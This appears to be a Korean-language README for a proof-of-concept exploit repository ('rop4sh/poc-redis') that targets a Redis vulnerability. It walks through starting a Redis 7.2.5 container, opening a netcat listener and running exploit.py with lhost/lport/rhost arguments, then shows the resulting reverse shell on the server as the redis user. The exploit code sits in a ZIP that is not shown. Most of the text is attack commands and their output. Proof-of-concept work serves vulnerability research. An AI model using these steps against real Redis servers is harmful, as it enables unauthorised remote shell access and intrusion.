rop4sh/poc-redisRedis 취약점에 대한 개념 증명 익스플로잇으로, 역방향 셸을 생성하며 Docker 및 netcat 리스너 설정 지침을 포함합니다.
익스플로잇을 실행하려면 첨부된 ZIP을 압축 해제하고 Linux에서 다음 단계를 따르세요:
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip install -r requirements.txt
$ docker run -p6379:6379 redis:7.2.5
$ ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:53ff:fecc:6e16 prefixlen 64 scopeid 0x20<link>
ether 02:42:53:cc:6e:16 txqueuelen 0 (Ethernet)
RX packets 69 bytes 4268 (4.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 133 bytes 269173 (262.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
$ nc -nlvp 2222
lhost를 도커 네트워크 IP 주소로 바꿉니다$ python3 exploit.py --lhost 172.17.0.1 --lport 2222 --rhost localhost
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:2222
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 172.17.0.2:36518.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
redis@4d1537f2dd4e:/data$